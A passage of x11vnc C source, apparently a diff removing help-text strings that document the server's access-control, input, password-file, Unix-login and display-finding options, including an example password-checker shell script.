-" re-read each time a new client connects. Lines can be\n"
-" commented out with the \"#\" character in the usual way.\n"
-"\n"
-" -allow applies in -ssl mode, but not in -stunnel mode.\n"
-"\n"
-" IPv6: as of x11vnc 0.9.10 a host can be specified\n"
-" in IPv6 numerical format, e.g. 2001:4860:b009::93.\n"
-"\n"
-"-localhost Basically the same as \"-allow 127.0.0.1\".\n"
-"\n"
-" Note: if you want to restrict which network interface\n"
-" x11vnc listens on, see the -listen option below.\n"
-" E.g. \"-listen localhost\" or \"-listen 192.168.3.21\".\n"
-" As a special case, the option \"-localhost\" implies\n"
-" \"-listen localhost\".\n"
-"\n"
-" A rare case, but for non-localhost -listen usage, if\n"
-" you use the remote control mechanism (-R) to change\n"
-" the -listen interface you may need to manually adjust\n"
-" the -allow list (and vice versa) to avoid situations\n"
-" where no connections (or too many) are allowed.\n"
-"\n"
-" If you do not want x11vnc to listen on ANY interface\n"
-" (evidently you are using -connect or -connect_or_exit,\n"
-" or plan to use remote control: -R connect:host), use\n"
-" -rfbport 0\n"
-"\n"
-" IPv6: if IPv6 is supported, this option automatically\n"
-" implies the IPv6 loopback address '::1' as well.\n"
-"\n"
-"-unixsock str Listen on the unix socket (AF_UNIX) 'str'\n"
-" for connections. This mode is for either local\n"
-" connections or a tunnel endpoint where one wants the\n"
-" file permission of the unix socket file to determine\n"
-" what can connect to it. (This currently requires an\n"
-" edit to libvnserver/rfbserver.c: comment out lines 310\n"
-" and 311, 'close(sock)' and 'return NULL' in rfbserver.c\n"
-" after the setsockopt() call.) Note that to disable all\n"
-" tcp listening ports specify '-rfbport 0' and should be\n"
-" useful with this mode. Example:\n"
-" mkdir ~/s; chmod 700 ~/s;\n"
-" x11vnc -unixsock ~/s/mysock -rfbport 0 ...\n"
-" The SSVNC unix vncviewer can connect to unix sockets.\n"
-"\n"
-#if X11VNC_IPV6
-"-listen6 str When in IPv6 listen mode \"-6\", listen only on the\n"
-" network interface with address \"str\". It also works\n"
-" for link scope addresses (fe80::219:dbff:fee5:3f92%%eth0)\n"
-" and IPv6 hostname strings (e.g. ipv6.google.com.)\n"
-" Use LibVNCServer -listen option for the IPv4 interface.\n"
-"\n"
-#endif
-"-nolookup Do not use gethostbyname() or gethostbyaddr() to look up\n"
-" host names or IP numbers. Use this if name resolution\n"
-" is incorrectly set up and leads to long pauses as name\n"
-" lookups time out, etc.\n"
-"\n"
-"-input string Fine tuning of allowed user input. If \"string\" does\n"
-" not contain a comma \",\" the tuning applies only to\n"
-" normal clients. Otherwise the part before \",\" is\n"
-" for normal clients and the part after for view-only\n"
-" clients. \"K\" is for Keystroke input, \"M\" for\n"
-" Mouse-motion input, \"B\" for Button-click input, \"C\"\n"
-" is for Clipboard input, and \"F\" is for File transfer\n"
-" (ultravnc only). Their presence in the string enables\n"
-" that type of input. E.g. \"-input M\" means normal\n"
-" users can only move the mouse and \"-input KMBCF,M\"\n"
-" lets normal users do anything and enables view-only\n"
-" users to move the mouse. This option is ignored when\n"
-" a global -viewonly is in effect (all input is discarded\n"
-" in that case).\n"
-"\n"
-"-grabkbd When VNC viewers are connected, attempt to the grab\n"
-" the keyboard so a (non-malicious) user sitting at the\n"
-" physical display is not able to enter keystrokes.\n"
-" This method uses XGrabKeyboard(3X11) and so it is\n"
-" not secure and does not rule out the person at the\n"
-" physical display injecting keystrokes by flooding the\n"
-" server with them, grabbing the keyboard himself, etc.\n"
-" Some degree of cooperation from the person at the\n"
-" display is assumed. This is intended for remote\n"
-" help-desk or educational usage modes.\n"
-"\n"
-" Note: on some recent (12/2010) X servers and/or\n"
-" desktops, -grabkbd no longer works: it prevents the\n"
-" window manager from resizing windows and similar things.\n"
-" Try -ungrabboth below (might not work.)\n"
-"\n"
-"-grabptr As -grabkbd, but for the mouse pointer using\n"
-" XGrabPointer(3X11). Unfortunately due to the way the X\n"
-" server works, the mouse can still be moved around by the\n"
-" user at the physical display, but he will not be able to\n"
-" change window focus with it. Also some window managers\n"
-" that call XGrabServer(3X11) for resizes, etc, will\n"
-" act on the local user's input. Again, some degree of\n"
-" cooperation from the person at the display is assumed.\n"
-"\n"
-"-ungrabboth Whenever there is any input (either keyboard or\n"
-" pointer), ungrab *both* the keyboard and the pointer\n"
-" while injecting the synthetic input. This is to allow\n"
-" window managers, etc. a chance to grab.\n"
-"\n"
-"-grabalways Apply both -grabkbd and -grabptr even when no VNC\n"
-" viewers are connected. If you only want one of them,\n"
-" use the -R remote control to turn the other back on,\n"
-" e.g. -R nograbptr.\n"
-"\n"
-#ifdef ENABLE_GRABLOCAL
-"-grablocal n If it appears that a user sitting at the physical\n"
-" display has injected a keystroke or mouse event ignore\n"
-" any VNC client inputs for the next n seconds. The idea\n"
-" is that during a demonstration, etc, the local user\n"
-" will not be interrupted by viewers accidentally moving\n"
-" the mouse, etc. The detection of local user input is\n"
-" approximate and so at times gives unexpected results.\n"
-"\n"
-#endif
-"-viewpasswd string Supply a 2nd password for view-only logins. The -passwd\n"
-" (full-access) password must also be supplied.\n"
-"\n"
-"-passwdfile filename Specify the LibVNCServer password via the first line\n"
-" of the file \"filename\" (instead of via -passwd on\n"
-" the command line where others might see it via ps(1)).\n"
-"\n"
-" See the descriptions below for how to supply multiple\n"
-" passwords, view-only passwords, to specify external\n"
-" programs for the authentication, and other features.\n"
-"\n"
-" If the filename is prefixed with \"rm:\" it will be\n"
-" removed after being read. Perhaps this is useful in\n"
-" limiting the readability of the file. In general, the\n"
-" password file should not be readable by untrusted users\n"
-" (BTW: neither should the VNC -rfbauth file: it is NOT\n"
-" encrypted, only obscured with a fixed key).\n"
-"\n"
-" If the filename is prefixed with \"read:\" it will\n"
-" periodically be checked for changes and reread. It is\n"
-" guaranteed to be reread just when a new client connects\n"
-" so that the latest passwords will be used.\n"
-"\n"
-" If \"filename\" is prefixed with \"cmd:\" then the\n"
-" string after the \":\" is run as an external command:\n"
-" the output of the command will be interpreted as if it\n"
-" were read from a password file (see below). If the\n"
-" command does not exit with 0, then x11vnc terminates\n"
-" immediately. To specify more than 1000 passwords this\n"
-" way set X11VNC_MAX_PASSWDS before starting x11vnc.\n"
-" The environment variables are set as in -accept.\n"
-"\n"
-" Note that due to the VNC protocol only the first 8\n"
-" characters of a password are used (DES key).\n"
-"\n"
-" If \"filename\" is prefixed with \"custom:\" then a\n"
-" custom password checker is supplied as an external\n"
-" command following the \":\". The command will be run\n"
-" when a client authenticates. If the command exits with\n"
-" 0 the client is accepted, otherwise it is rejected.\n"
-" The environment variables are set as in -accept.\n"
-"\n"
-" The standard input to the custom command will be a\n"
-" decimal digit \"len\" followed by a newline. \"len\"\n"
-" specifies the challenge size and is usually 16 (the\n"
-" VNC spec). Then follows len bytes which is the random\n"
-" challenge string that was sent to the client. This is\n"
-" then followed by len more bytes holding the client's\n"
-" response (i.e. the challenge string encrypted via DES\n"
-" with the user password in the standard situation).\n"
-"\n"
-" The \"custom:\" scheme can be useful to implement\n"
-" dynamic passwords or to implement methods where longer\n"
-" passwords and/or different encryption algorithms\n"
-" are used. The latter will require customizing the VNC\n"
-" client as well. One could create an MD5SUM based scheme\n"
-" for example.\n"
-"\n"
-" File format for -passwdfile:\n"
-"\n"
-" If multiple non-blank lines exist in the file they are\n"
-" all taken as valid passwords. Blank lines are ignored.\n"
-" Password lines may be \"commented out\" (ignored) if\n"
-" they begin with the character \"#\" or the line contains\n"
-" the string \"__SKIP__\". Lines may be annotated by use\n"
-" of the \"__COMM__\" string: from it to the end of the\n"
-" line is ignored. An empty password may be specified\n"
-" via the \"__EMPTY__\" string on a line by itself (note\n"
-" your viewer might not accept empty passwords).\n"
-"\n"
-" If the string \"__BEGIN_VIEWONLY__\" appears on a\n"
-" line by itself, the remaining passwords are used for\n"
-" viewonly access. For compatibility, as a special case\n"
-" if the file contains only two password lines the 2nd\n"
-" one is automatically taken as the viewonly password.\n"
-" Otherwise the \"__BEGIN_VIEWONLY__\" token must be\n"
-" used to have viewonly passwords. (tip: make the 3rd\n"
-" and last line be \"__BEGIN_VIEWONLY__\" to have 2\n"
-" full-access passwords)\n"
-"\n"
-"-showrfbauth filename Print to the screen the obscured VNC password kept in\n"
-" the rfbauth file \"filename\" and then exit.\n"
-"\n"
-"-unixpw [list] Use Unix username and password authentication. x11vnc\n"
-" will use the su(1) program to verify the user's\n"
-" password. [list] is an optional comma separated list\n"
-" of allowed Unix usernames. If the [list] string begins\n"
-" with the character \"!\" then the entire list is taken\n"
-" as an exclude list. See below for per-user options\n"
-" that can be applied.\n"
-"\n"
-" A familiar \"login:\" and \"Password:\" dialog is\n"
-" presented to the user on a black screen inside the\n"
-" vncviewer. The connection is dropped if the user fails\n"
-" to supply the correct password in 3 tries or does not\n"
-" send one before a 45 second timeout. Existing clients\n"
-" are view-only during this period.\n"
-"\n"
-" If the first character received is \"Escape\" then the\n"
-" unix username will not be displayed after \"login:\"\n"
-" as it is typed. This could be of use for VNC viewers\n"
-" that automatically type the username and password.\n"
-"\n"
-" Since the detailed behavior of su(1) can vary from\n"
-" OS to OS and for local configurations, test the mode\n"
-" before deployment to make sure it is working properly.\n"
-" x11vnc will attempt to be conservative and reject a\n"
-" login if anything abnormal occurs.\n"
-"\n"
-" One case to note: FreeBSD and the other BSD's by\n"
-" default it is impossible for the user running x11vnc to\n"
-" validate his *own* password via su(1) (commenting out\n"
-" the pam_self.so entry in /etc/pam.d/su eliminates this\n"
-" behavior). So the x11vnc login will always *FAIL* for\n"
-" this case (even when the correct password is supplied).\n"
-"\n"
-" A possible workaround for this on *BSD would be to\n"
-" start x11vnc as root with the \"-users +nobody\" option\n"
-" to immediately switch to user nobody where the su'ing\n"
-" will proceed normally.\n"
-"\n"
-" Another source of potential problems are PAM modules\n"
-" that prompt for extra info, e.g. password aging modules.\n"
-" These logins will fail as well even when the correct\n"
-" password is supplied.\n"
-"\n"
-" **IMPORTANT**: to prevent the Unix password being sent\n"
-" in *clear text* over the network, one of two schemes\n"
-" will be enforced: 1) the -ssl builtin SSL mode, or 2)\n"
-" require both -localhost and -stunnel be enabled.\n"
-"\n"
-" Method 1) ensures the traffic is encrypted between\n"
-" viewer and server. A PEM file will be required, see the\n"
-" discussion under -ssl below (under some circumstances\n"
-" a temporary one can be automatically generated).\n"
-"\n"
-" Method 2) requires the viewer connection to appear\n"
-" to come from the same machine x11vnc is running on\n"
-" (e.g. from a ssh -L port redirection). And that the\n"
-" -stunnel SSL mode be used for encryption over the\n"
-" network. (see the description of -stunnel below).\n"
-"\n"
-" Note: as a convenience, if you ssh(1) in and start\n"
-" x11vnc it will check if the environment variable\n"
-" SSH_CONNECTION is set and appears reasonable. If it\n"
-" does, then the -ssl or -stunnel requirement will be\n"
-" dropped since it is assumed you are using ssh for the\n"
-" encrypted tunnelling. -localhost is still enforced.\n"
-" Use -ssl or -stunnel to force SSL usage even if\n"
-" SSH_CONNECTION is set.\n"
-"\n"
-" To override the above restrictions you can set\n"
-" environment variables before starting x11vnc:\n"
-"\n"
-" Set UNIXPW_DISABLE_SSL=1 to disable requiring either\n"
-" -ssl or -stunnel (as under SSH_CONNECTION.) Evidently\n"
-" you will be using a different method to encrypt the\n"
-" data between the vncviewer and x11vnc: perhaps ssh(1)\n"
-" or an IPSEC VPN. -localhost is still enforced (however,\n"
-" see the next paragraph.)\n"
-"\n"
-" Set UNIXPW_DISABLE_LOCALHOST=1 to disable the -localhost\n"
-" requirement in -unixpw modes. One should never do this\n"
-" (i.e. allow the Unix passwords to be sniffed on the\n"
-" network.) This also disables the localhost requirement\n"
-" for reverse connections (see below.)\n"
-"\n"
-" Note that use of -localhost with ssh(1) (and no -unixpw)\n"
-" is roughly the same as requiring a Unix user login\n"
-" (since a Unix password or the user's public key\n"
-" authentication is used by sshd on the machine where\n"
-" x11vnc runs and only local connections from that machine\n"
-" are accepted).\n"
-"\n"
-" Regarding reverse connections (e.g. -R connect:host\n"
-" and -connect host), when the -localhost constraint is\n"
-" in effect then reverse connections can only be used\n"
-" to connect to the same machine x11vnc is running on\n"
-" (default port 5500). Please use a ssh or stunnel port\n"
-" redirection to the viewer machine to tunnel the reverse\n"
-" connection over an encrypted channel.\n"
-"\n"
-" In -inetd mode the Method 1) will be enforced (not\n"
-" Method 2). With -ssl in effect reverse connections\n"
-" are disabled. If you override this via env. var, be\n"
-" sure to also use encryption from the viewer to inetd.\n"
-" Tip: you can also have your own stunnel spawn x11vnc\n"
-" in -inetd mode (thereby bypassing inetd). See the FAQ\n"
-" for details.\n"
-"\n"
-" The user names in the comma separated [list] may have\n"
-" per-user options after a \":\", e.g. \"fred:opts\"\n"
-" where \"opts\" is a \"+\" separated list of\n"
-" \"viewonly\", \"fullaccess\", \"input=XXXX\", or\n"
-" \"deny\", e.g. \"karl,wally:viewonly,boss:input=M\".\n"
-" For \"input=\" it is the K,M,B,C described under -input.\n"
-"\n"
-" If an item in the list is \"*\" that means those\n"
-" options apply to all users. It ALSO implies all users\n"
-" are allowed to log in after supplying a valid password.\n"
-" Use \"deny\" to explicitly deny some users if you use\n"
-" \"*\" to set a global option. If [list] begins with the\n"
-" \"!\" character then \"*\" is ignored for checking if\n"
-" the user is allowed, but the option values associated\n"
-" with it do apply as normal.\n"
-"\n"
-" There are also some utilities for checking passwords\n"
-" if [list] starts with the \"%%\" character. See the\n"
-" quick_pw() function for more details. Description:\n"
-" \"%%-\" or \"%%stdin\" means read one line from stdin.\n"
-" \"%%env\" means it is in $UNIXPW env var. A leading\n"
-" \"%%/\" or \"%%.\" means read the first line from the\n"
-" filename that follows after the %% character. %% by\n"
-" itself means prompt for the username and password.\n"
-" Otherwise: %%user:pass E.g. -unixpw %%fred:swordfish\n"
-" For the other cases user:pass is read from the indicated\n"
-" source. If the password is correct 'Y user' is printed\n"
-" and the program exit code is 0. If the password is\n"
-" incorrect it prints 'N user' and the exit code is 1.\n"
-" If there is some other error the exit code is 2.\n"
-" This feature enables x11vnc to be a general unix user\n"
-" password checking tool; it could be used from scripts\n"
-" or other programs. These %% password checks also apply\n"
-" to the -unixpw_nis and -unixpw_cmd options.\n"
-"\n"
-" For the %% password check, if the env. var. UNIXPW_CMD\n"
-" is set to a command then it is run as the user (assuming\n"
-" the password is correct.) The output of the command is\n"
-" not printed, the program or script must manage that by\n"
-" some other means. The exit code of x11vnc will depend\n"
-" on the exit code of the command that is run.\n"
-"\n"
-" Use -nounixpw to disable unixpw mode if it was enabled\n"
-" earlier in the cmd line (e.g. -svc mode)\n"
-"\n"
-"-unixpw_nis [list] As -unixpw above, however do not use su(1) but rather\n"
-" use the traditional getpwnam(3) + crypt(3) method to\n"
-" verify passwords. All of the above -unixpw options and\n"
-" constraints apply.\n"
-"\n"
-" This mode requires that the encrypted passwords be\n"
-" readable. Encrypted passwords stored in /etc/shadow\n"
-" will be inaccessible unless x11vnc is run as root.\n"
-"\n"
-" This is called \"NIS\" mode simply because in most\n"
-" NIS setups user encrypted passwords are accessible\n"
-" (e.g. \"ypcat passwd\") by an ordinary user and so that\n"
-" user can authenticate ANY user.\n"
-"\n"
-" NIS is not required for this mode to work (only that\n"
-" getpwnam(3) return the encrypted password is required),\n"
-" but it is unlikely it will work (as an ordinary user)\n"
-" for most modern environments unless NIS is available.\n"
-" On the other hand, when x11vnc is run as root it will\n"
-" be able to to access /etc/shadow even if NIS is not\n"
-" available (note running as root is often done when\n"
-" running x11vnc from inetd and xdm/gdm/kdm).\n"
-"\n"
-" Looked at another way, if you do not want to use the\n"
-" su(1) method provided by -unixpw (i.e. su_verify()), you\n"
-" can run x11vnc as root and use -unixpw_nis. Any users\n"
-" with passwords in /etc/shadow can then be authenticated.\n"
-"\n"
-" In -unixpw_nis mode, under no circumstances is x11vnc's\n"
-" user password verifying function based on su called\n"
-" (i.e. the function su_verify() that runs /bin/su\n"
-" in a pseudoterminal to verify passwords.) However,\n"
-" if -unixpw_nis is used in conjunction with the -find\n"
-" and -create -display WAIT:... modes then, if x11vnc is\n"
-" running as root, /bin/su may be called externally to\n"
-" run the find or create commands.\n"
-"\n"
-"-unixpw_cmd cmd As -unixpw above, however do not use su(1) but rather\n"
-" run the externally supplied command \"cmd\". The first\n"
-" line of its stdin will be the username and the second\n"
-" line the received password. If the command exits\n"
-" with status 0 (success) the VNC user will be accepted.\n"
-" It will be rejected for any other return status.\n"
-"\n"
-" Dynamic passwords and non-unix passwords, e.g. LDAP,\n"
-" can be implemented this way by providing your own custom\n"
-" helper program. Note that the remote viewer is given 3\n"
-" tries to enter the correct password, and so the program\n"
-" may be called in a row that many (or more) times.\n"
-"\n"
-" If a list of allowed users is needed to limit who can\n"
-" log in, use -unixpw [list] in addition to this option.\n"
-"\n"
-" In FINDDISPLAY and FINDCREATEDISPLAY modes the \"cmd\"\n"
-" will also be run with the RFB_UNIXPW_CMD_RUN env. var.\n"
-" non-empty and set to the corresponding display\n"
-" find/create command. The first two lines of input are\n"
-" the username and passwd as in the normal case described\n"
-" above. To support FINDDISPLAY and FINDCREATEDISPLAY,\n"
-" \"cmd\" should run the requested command as the user\n"
-" (and most likely refusing to run it if the password is\n"
-" not correct.) Here is an example script (note it has\n"
-" a hardwired bogus password \"abc\"!)\n"
-"\n"
-" #!/bin/sh\n"
-" # Example x11vnc -unixpw_cmd script.\n"
-" # Read the first two lines of stdin (user and passwd)\n"
-" read user\n"
-" read pass\n"
-" \n"
-" debug=0\n"
-" if [ $debug = 1 ]; then\n"
-" echo \"user: $user\" 1>&2\n"
-" echo \"pass: $pass\" 1>&2\n"
-" env | egrep -i 'rfb|vnc' 1>&2\n"
-" fi\n"
-" \n"
-" # Check if the password is valid.\n"
-" # (A real example would use ldap lookup, etc!)\n"
-" if [ \"X$pass\" != \"Xabc\" ]; then\n"
-" exit 1 # incorrect password\n"
-" fi\n"
-" \n"
-" if [ \"X$RFB_UNIXPW_CMD_RUN\" = \"X\" ]; then\n"
-" exit 0 # correct password\n"
-" else\n"
-" # Run the requested command (finddisplay)\n"
-" if [ $debug = 1 ]; then\n"
-" echo \"run: $RFB_UNIXPW_CMD_RUN\" 1>&2\n"
-" fi\n"
-" exec /bin/su - \"$user\" -c \"$RFB_UNIXPW_CMD_RUN\"\n"
-" fi\n"
-"\n"
-" In -unixpw_cmd mode, under no circumstances is x11vnc's\n"
-" user password verifying function based on su called\n"
-" (i.e. the function su_verify() that runs /bin/su in a\n"
-" pseudoterminal to verify passwords.) It is up to the\n"
-" supplied unixpw_cmd to do user switching if desired\n"
-" and if it has the permissions to do so.\n"
-"\n"
-"-find Find the user's display using FINDDISPLAY. This\n"
-" is an alias for \"-display WAIT:cmd=FINDDISPLAY\".\n"
-"\n"
-" Note: if a -display occurs later on the command line\n"
-" it will override the -find setting.\n"
-"\n"
-" For this and the next few options see -display WAIT:...\n"
-" below for all of the details.\n"
-"\n"
-"-finddpy Run the FINDDISPLAY program, print out the found\n"
-" display (if any) and exit. Output is like: DISPLAY=:0.0\n"
-" DISPLAY=:0.0,XPID=12345 or DISPLAY=:0.0,VT=7. XPID is\n"
-" the process ID of the found X server. VT is the Linux\n"
-" virtual terminal of the X server.\n"
-"-listdpy Have the FINDDISPLAY program list all of your displays\n"
-" (i.e. all the X displays on the local machine that you\n"
-" have access rights to). x11vnc then exits.\n"
-"\n"
-"-findauth [disp] Apply the -find/-finddpy heuristics to try to guess\n"
-" the XAUTHORITY file for DISPLAY 'disp'. If 'disp'\n"
-" is not supplied, then the value in the -display on\n"
-" the cmdline is used; failing that $DISPLAY is used;\n"
-" and failing that \":0\" is used. x11vnc then exits.\n"
-"\n"
-" If nothing is printed out, that means no XAUTHORITY was\n"
-" found for 'disp'; i.e. failure. If \"XAUTHORITY=\"\n"
-" is printed out, that means use the default (i.e. do\n"
-" not set XAUTHORITY). If \"XAUTHORITY=/path/to/file\"\n"
-" is printed out, then use that file.\n"
-"\n"
-" XDM/GDM/KDM: if you are running x11vnc as root and want\n"
-" to find the XAUTHORITY before anyone has logged into an\n"
-" X session yet, use: x11vnc -env FD_XDM=1 -findauth ...\n"
-" (This will also find the XAUTHORITY if a user is already\n"
-" logged into the X session.) When running as root,\n"
-" FD_XDM=1 will be tried if the initial -findauth fails.\n"
-"\n"
-"-create First try to find the user's display using FINDDISPLAY,\n"
-" if that doesn't succeed create an X session via the\n"
-" FINDCREATEDISPLAY method. This is an alias for\n"
-" \"-display WAIT:cmd=FINDCREATEDISPLAY-Xvfb\".\n"
-"\n"
-" Note: if a -display occurs later on the command line\n"
-" it will override the -create setting.\n"
-"\n"
-" SSH NOTE: for both -find and -create you can (should!)\n"
-" add the \"-localhost\" option to force SSH tunnel access.\n"
-"\n"
-"-xdummy As in -create, except Xdummy instead of Xvfb.\n"
-"-xvnc As in -create, except Xvnc instead of Xvfb.\n"
-"-xvnc_redirect As in -create, except Xvnc.redirect instead of Xvfb.\n"
-"-xdummy_xvfb Sets WAIT:cmd=FINDCREATEDISPLAY-Xdummy,Xvfb\n"
-"\n"
-"-create_xsrv str Sets WAIT:cmd=FINDCREATEDISPLAY-<str> Can be on cmdline\n"
-" after anything that sets WAIT:.. and other things\n"
-" (e.g. -svc, -xdmsvc) to adjust the X server list.\n"
-" Example: -svc ... -create_xsrv Xdummy,X\n"
-"\n"
-"-svc Terminal services mode based on SSL access. Alias for\n"
-" -display WAIT:cmd=FINDCREATEDISPLAY-Xvfb -unixpw -users\n"
-" unixpw= -ssl SAVE Also \"-service\".\n"
-"\n"
-" Note: if a -display, -unixpw, -users, or -ssl occurs\n"
-" later on the command line it will override the -svc\n"
-" setting.\n"
-"\n"
-"-svc_xdummy As -svc except Xdummy instead of Xvfb.\n"
-"-svc_xvnc As -svc except Xvnc instead of Xvfb.\n"
-"-svc_xdummy_xvfb As -svc with Xdummy,Xvfb.\n"
-"\n"
-"-xdmsvc Display manager Terminal services mode based on SSL.\n"
-" Alias for -display WAIT:cmd=FINDCREATEDISPLAY-Xvfb.xdmcp\n"
-" -unixpw -users unixpw= -ssl SAVE Also \"-xdm_service\".\n"
-"\n"
-" Note: if a -display, -unixpw, -users, or -ssl occurs\n"
-" later on the command line it will override the -xdmsvc\n"
-" setting.\n"
-"\n"
-" To create a session a user will have to first log in\n"
-" to the -unixpw dialog and then log in again to the\n"
-" XDM/GDM/KDM prompt. Subsequent re-connections will\n"
-" only require the -unixpw password. See the discussion\n"
-" under -display WAIT:... for more details about XDM,\n"
-" etc configuration.\n"
-"\n"
-" Remember to enable XDMCP in the xdm-config, gdm.conf,\n"
-" or kdmrc configuration file. See -display WAIT: for\n"
-" more info.\n"
-"\n"
-"-sshxdmsvc Display manager Terminal services mode based on SSH.\n"
-" Alias for -display WAIT:cmd=FINDCREATEDISPLAY-Xvfb.xdmcp\n"
-" -localhost.\n"
-"\n"
-" The -localhost option constrains connections to come\n"
-" in via a SSH tunnel (which will require a login).\n"
-" To create a session a user will also have to log into\n"
-" the XDM GDM KDM prompt. Subsequent re-connections will\n"
-" only only require the SSH login. See the discussion\n"
-" under -display WAIT:... for more details about XDM,\n"
-" etc configuration.\n"
-"\n"
-" Remember to enable XDMCP in the xdm-config, gdm.conf,\n"
-" or kdmrc configuration file. See -display WAIT: for\n"
-" more info.\n"
-"\n"
-"-unixpw_system_greeter Present a \"Press 'Escape' for System Greeter\" option\n"
-" to the connecting VNC client in combined -unixpw\n"
-" and xdmcp FINDCREATEDISPLAY modes (e.g. -xdmsvc).\n"
-"\n"
-" Normally in a -unixpw mode the VNC client must\n"
-" supply a valid username and password to gain access.\n"
-" However, if -unixpw_system_greeter is supplied AND\n"
-" the FINDCREATEDISPLAY command matches 'xdmcp', then\n"
-" the user has the option to press Escape and then get a\n"
-" XDM/GDM/KDM login/greeter panel instead. They will then\n"
-" supply a username and password directly to the greeter.\n"
-"\n"
-" Otherwise, in xdmcp FINDCREATEDISPLAY mode the user\n"
-" must supply his username and password TWICE. First to\n"
-" the initial unixpw login dialog, and second to the\n"
-" subsequent XDM/GDM/KDM greeter. Note that if the user\n"
-" re-connects and supplies his username and password in\n"
-" the unixpw dialog the xdmcp greeter is skipped and\n"
-" he is connected directly to his existing X session.\n"
-" So the -unixpw_system_greeter option avoids the extra\n"
-" password at X session creation time.\n"
-"\n"
-" Example: x11vnc -xdmsvc -unixpw_system_greeter\n"
-" See -unixpw and -display WAIT:... for more info.\n"
-"\n"
-" The special options after a colon at the end of the\n"
-" username (e.g. user:solid) described under -display\n"
-" WAIT: are also applied in this mode if they are typed\n"
-" in before the user hits Escape. The username is ignored\n"
-" but the colon options are not.\n"
-"\n"
-" The default message is 2 lines in a small font, set\n"
-" the env. var. X11VNC_SYSTEM_GREETER1=true for a 1 line\n"
-" message in a larger font.\n"
-"\n"
-" If the user pressed Escape the FINDCREATEDISPLAY command\n"
-" will be run with the env. var. X11VNC_XDM_ONLY=1.\n"
-"\n"
-" Remember to enable XDMCP in the xdm-config, gdm.conf,\n"
-" or kdmrc configuration file. See -display WAIT: for\n"
-" more info.\n"
-"\n"
-"-redirect port As in FINDCREATEDISPLAY-Xvnc.redirect mode except\n"
-" redirect immediately (i.e. without X session finding\n"
-" or creation) to a VNC server listening on port. You\n"
-" can also supply host:port to redirect to a different\n"
-" machine.\n"
-"\n"
-" If 0 <= port < 200 it is taken as a VNC display (5900 is\n"
-" added to get the actual port), if port < 0 then -port\n"
-" is used.\n"
-"\n"
-" Probably the only reason to use the -redirect option\n"
-" is in conjunction with SSL support, e.g. -ssl SAVE.\n"
-" This provides an easy way to add SSL encryption to a VNC\n"
-" server that does not support SSL (e.g. Xvnc or vnc.so)\n"
-" In fact, the protocol does not even need to be VNC,\n"
-" and so \"-rfbport port1 -ssl SAVE -redirect host:port2\"\n"
-" can act as a replacement for stunnel(1).\n"
-"\n"
-" This mode only allows one redirected connection.\n"
-" The -forever option does not apply. Use -inetd or\n"
-" -loop for persistent service.\n"
-"\n"
-"-display WAIT:... A special usage mode for the normal -display option.\n"
-" Useful with -unixpw, but can be used independently\n"
-" of it. If the display string begins with WAIT: then\n"
-" x11vnc waits until a VNC client connects before opening\n"
-" the X display (or -rawfb device).\n"
-"\n"
-" This could be useful for delaying opening the display\n"
-" for certain usage modes (say if x11vnc is started at\n"
-" boot time and no X server is running or users logged\n"
-" in yet).\n"
-"\n"
-" If the string is, e.g. WAIT:0.0 or WAIT:1, i.e. \"WAIT\"\n"
-" in front of a normal X display, then that indicated\n"
-" display is used.\n"
-"\n"
-" One can also insert a geometry between colons, e.g.\n"
-" WAIT:1280x1024:... to set the size of the display the\n"
-" VNC client first attaches to since some VNC viewers\n"
-" will not automatically adjust to a new framebuffer size.\n"
-"\n"
-" A more interesting case is like this:\n"
-"\n"
-" WAIT:cmd=/usr/local/bin/find_display\n"
-"\n"
-" in which case the command after \"cmd=\" is run to\n"
-" dynamically work out the DISPLAY and optionally the\n"
-" XAUTHORITY data. The first line of the command output\n"
-" must be of the form DISPLAY=<xdisplay>. On Linux\n"
-" if the virtual terminal is known append \",VT=n\" to\n"
-" this string and the chvt(1) program will also be run.\n"
-" Any remaining output is taken as XAUTHORITY data.\n"
-" It can be either of the form XAUTHORITY=<file> or raw\n"
-" xauthority data for the display. For example;\n"
-"\n"
-" xauth extract - $DISPLAY\"\n"
-"\n"
-" NOTE: As specified in the previous paragraph, you can\n"
-" supply your own WAIT:cmd=... program or script, BUT\n"
-" there are two very useful *BUILT-IN* ones: FINDDISPLAY\n"
-" (alias -find above) and FINDCREATEDISPLAY (alias -create\n"
-" above.) Most people use these instead of creating\n"
-" their own script. Read the following (especially the\n"
-" BUILT-IN modes sections) to see how to configure these\n"
-" two useful builtin -display WAIT: modes.\n"
-"\n"
-" In the case of -unixpw (and -unixpw_nis only if x11vnc\n"
-" is running as root), then the cmd= command is run\n"
-" as the user who just authenticated via the login and\n"
-" password prompt.\n"
-"\n"
-" In the case of -unixpw_cmd, the commands will also be\n"
-" run as the logged-in user, as long as the user-supplied\n"
-" helper program supports RFB_UNIXPW_CMD_RUN (see the\n"
-" -unixpw_cmd option.)\n"
-"\n"
-" Also in the case of -unixpw, the user logging in can\n"
-" place a colon at the end of her username and supply\n"
-" a few options: scale=, scale_cursor= (or sc=), solid\n"
-" (or so), id=, clear_mods (or cm), clear_keys (or\n"
-" ck), clear_all (or ca), repeat, speeds= (or sp=),\n"
-" readtimeout= (or rd=), viewonly (or vo), nodisplay=\n"
-" (or nd=), rotate= (or ro=), or noncache (or nc),\n"
-" all separated by commas if there is more than one.\n"
-" After the user logs in successfully, these options will\n"
-" be applied to the VNC screen. For example,\n"
-"\n"
-" login: fred:scale=3/4,sc=1,repeat\n"
-" Password: ...\n"
-"\n"
-" login: runge:sp=modem,rd=120,solid\n"
-"\n"
-" for convenience m/n implies scale= e.g. fred:3/4 If you\n"
-" type and enter your password incorrectly, to retrieve\n"
-" your long \"login:\" line press the Up arrow once\n"
-" (before typing anything else).\n"
-"\n"
-" Most of these colon options only apply to the builtin\n"
-" FINDDISPLAY and FINDCREATEDISPLAY modes, but note\n"
-" that they are passed to the extrenal command in the\n"
-" environment as well and so could be used.\n"
-"\n"
-" In the login panel, press F1 to get a list of the\n"
-" available options that you can add after the username.\n"
-"\n"
-" Another option is \"geom=WxH\" or \"geom=WxHxD\" (or\n"
-" ge=). This only has an effect in FINDCREATEDISPLAY\n"
-" mode when a virtual X server such as Xvfb is going\n"
-" to be created. It sets the width and height of\n"
-" the new display, and optionally the color depth as\n"
-" well.\n"
-"\n"
-" You can also supply \"gnome\", \"kde\", \"twm\",\n"
-" \"fvwm\", \"mwm\", \"dtwm\", \"wmaker\", \"xfce\",\n"
-" \"lxde\", \"enlightenment\", \"Xsession\", or\n"
-" \"failsafe\" (same as \"xterm\") to have the created\n"
-" display use that mode for the user session.\n"
-"\n"
-" Specify \"tag=...\" to set the unique FD_TAG desktop\n"
-" session tag described below. Note: this option will\n"
